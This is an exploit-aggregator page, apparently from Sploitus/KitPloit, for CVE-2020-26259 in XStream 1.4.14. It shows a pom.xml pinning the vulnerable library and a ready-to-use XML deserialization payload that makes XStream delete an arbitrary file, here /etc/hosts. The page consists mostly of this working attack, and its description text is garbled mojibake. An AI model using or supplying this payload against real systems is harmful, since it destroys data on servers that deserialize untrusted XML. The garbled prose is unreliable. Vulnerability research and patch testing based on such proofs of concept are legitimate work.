Sploitus

Exploit for CVE-2020-26259

kitploit ┬╖ 2026-08-28

Exploit Code

MARKDOWN53 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JAS502N-CVE-2020-26259
# CVE-2020-26259

CVE-2020-26259: XStream(1.4.14) рдЕрдирдорд╛рд░реНрд╢рд▓рд┐рдВрдЧ рдХрд░рддреЗ рд╕рдордп рд╕реНрдерд╛рдиреАрдп рд╣реЛрд╕реНрдЯ рдкрд░ рдПрдХ рдордирдорд╛рдирд╛ рдлрд╝рд╛рдЗрд▓ рд╡рд┐рд▓реЛрдкрди рдХреЗ рд▓рд┐рдП рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИ, рдЬрдм рддрдХ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдкрд╛рд╕ рдкрд░реНрдпрд╛рдкреНрдд рдЕрдзрд┐рдХрд╛рд░ рд╣реИрдВред

https://x-stream.github.io/CVE-2020-26259.html

**XStream 1.4.14**

![](https://assets.kitploit.com/production/public/readmes/27360/243aea8ad003d9e52eb40af8072907ba14f51d8aacd8a1fe8424e30deec76b3e.png)

#### pom.xml

root@kitploit:~
    
    
        <!-- https://mvnrepository.com/artifact/com.thoughtworks.xstream/xstream -->
        <dependencies>
            <dependency>
                <groupId>com.thoughtworks.xstream</groupId>
                <artifactId>xstream</artifactId>
                <version>1.4.14</version>
            </dependency>
        </dependencies>
    

## рдкреАрдУрд╕реА

https://x-stream.github.io/CVE-2020-26259.html

root@kitploit:~
    
    
    <map>
      <entry>
        <jdk.nashorn.internal.objects.NativeString>
          <flags>0</flags>
          <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
            <dataHandler>
              <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
                <contentType>text/plain</contentType>
                <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>
                  <tempFile>/etc/hosts</tempFile>
                </is>
              </dataSource>
              <transferFlavors/>
            </dataHandler>
            <dataLen>0</dataLen>
          </value>
        </jdk.nashorn.internal.objects.NativeString>
        <string>test</string>
      </entry>
    </map>